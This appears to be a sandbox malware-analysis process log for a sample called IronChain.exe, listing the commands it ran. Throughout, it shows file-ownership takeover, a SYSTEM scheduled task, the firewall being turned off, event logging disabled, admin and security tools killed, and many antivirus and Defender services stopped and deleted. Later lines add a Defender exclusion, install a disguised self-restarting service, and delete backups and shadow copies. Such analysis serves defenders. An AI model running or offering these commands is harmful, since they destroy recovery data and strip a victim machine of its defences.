-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\UserCache.bin3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt19.lst3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Adobe\Color\Profiles\wsRGB.icc3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\UserCache.bin /grant Admin:F3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Adobe\Color\Profiles\wscRGB.icc3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USSres00001.jrs3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Comms\UnistoreDB\store.vol3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Comms\UnistoreDB\store.jfm3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst"3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt19.lst /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin.cdp3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin.cdpresource3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Adobe\Color\Profiles\wscRGB.icc /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-shm3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-wal3⤵
- Possible privilege escalation attempt
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma"3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USStmp.jtx3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f \\?\C:\Users\Admin\AppData\Local\Adobe\Color\ACECache11.lst3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Comms\UnistoreDB\store.jfm /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Comms\UnistoreDB\store.vol /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\First Run"3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USS.jcp /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USSres00002.jrs /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USSres00001.jrs /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USS.jtx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Comms\UnistoreDB\USStmp.jtx /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin.cdpresource /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin.cdp /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-wal /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Browser"3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\Adobe\Color\ACECache11.lst /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version"3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls "\\?\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\First Run" /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\first_party_sets.db"3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State"3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Variations"3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-6A04CD8A-F08.pma"3⤵
-
-
C:\Windows\SYSTEM32\icacls.exeicacls "\\?\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\first_party_sets.db-journal" /grant Admin:F3⤵
-
-
C:\Windows\SYSTEM32\takeown.exetakeown /f "\\?\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\metadata"3⤵
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls \\?\C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db /grant Admin:F3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe2⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "IronChain_SYSTEM""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "IronChain_SYSTEM"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im Taskmgr.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im regedit.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im cmd.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im msconfig.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im procexp.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im procexp64.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im services.msc3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im mmc.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im SystemSettings.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im control.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im WindowsSecurity.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im MsMpEng.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im powershell.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im pwsh.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im taskkill.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im wmic.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im diskpart.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im resmon.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im perfmon.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im Autoruns.exe3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im Autoruns64.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im gpedit.msc3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im eventvwr.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im eventvwr.msc3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im compmgmt.msc3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im devmgmt.msc3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im diskmgmt.msc3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im certmgr.msc3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im secpol.msc3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im lusrmgr.msc3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im taskkill.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im wmic.exe3⤵
-
-
C:\Windows\system32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config AVP start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete AVP3⤵
-
-
C:\Windows\system32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete KAV3⤵
-
-
C:\Windows\system32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config BDSS start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\system32\net.exenet stop Bitdefender /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config Bitdefender start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete Bitdefender3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop "avast! Antivirus" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config "avast! Antivirus" start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "avast! Antivirus"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop "avast! Service" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config "avast! Service" start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "avast! Service"3⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe2⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "IronChain_SYSTEM""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "IronChain_SYSTEM"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im Taskmgr.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im regedit.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im cmd.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im msconfig.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im procexp.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im procexp64.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im services.msc3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im mmc.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im SystemSettings.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im control.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im WindowsSecurity.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im MsMpEng.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im powershell.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im pwsh.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im taskkill.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im wmic.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im diskpart.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im resmon.exe3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im perfmon.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im Autoruns.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im Autoruns64.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im gpedit.msc3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im eventvwr.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im eventvwr.msc3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im compmgmt.msc3⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im devmgmt.msc3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im diskmgmt.msc3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im certmgr.msc3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im secpol.msc3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im lusrmgr.msc3⤵
- Kills process with taskkill
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im taskkill.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im wmic.exe3⤵
- Kills process with taskkill
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config AVP start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete AVP3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete KAV3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config BDSS start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\system32\net.exenet stop Bitdefender /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config Bitdefender start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete Bitdefender3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop "avast! Antivirus" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config "avast! Antivirus" start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete "avast! Antivirus"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop "avast! Service" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config "avast! Service" start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete "avast! Service"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop AVG /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config AVG start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete AVG3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop MBAMService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config MBAMService start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete MBAMService3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop DrWeb /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config DrWeb start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete DrWeb3⤵
-
-
C:\Windows\system32\net.exenet stop wscsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config wscsvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete wscsvc3⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\net.exenet stop SecurityHealthService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config SecurityHealthService start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete SecurityHealthService3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop Sense /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config Sense start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete Sense3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop WinDefend /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete WinDefend3⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\net.exenet stop WdNisSvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config WdNisSvc start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete WdNisSvc3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop MpKslDrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config MpKslDrv start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete MpKslDrv3⤵
-
-
C:\Windows\system32\net.exenet stop NisSrv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config NisSrv start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete NisSrv3⤵
- Launches sc.exe
-
-
C:\Windows\system32\net.exenet stop EventLog /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config EventLog start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete EventLog3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\net.exenet stop swprv /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config swprv start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete swprv3⤵
- Launches sc.exe
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\IronChain.exe""3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc create InchainSecurity binPath= "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" start= auto DisplayName= "Inchain Security Component""3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc description InchainSecurity "Trusted security module""3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc start InchainSecurity"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc failure InchainSecurity reset= 86400 actions= restart/5000/restart/5000/restart/5000"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "sc critical InchainSecurity"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} safemode minimal"3⤵
-
-
C:\Windows\system32\svchost.exesvchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEYOLOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"3⤵
-
-
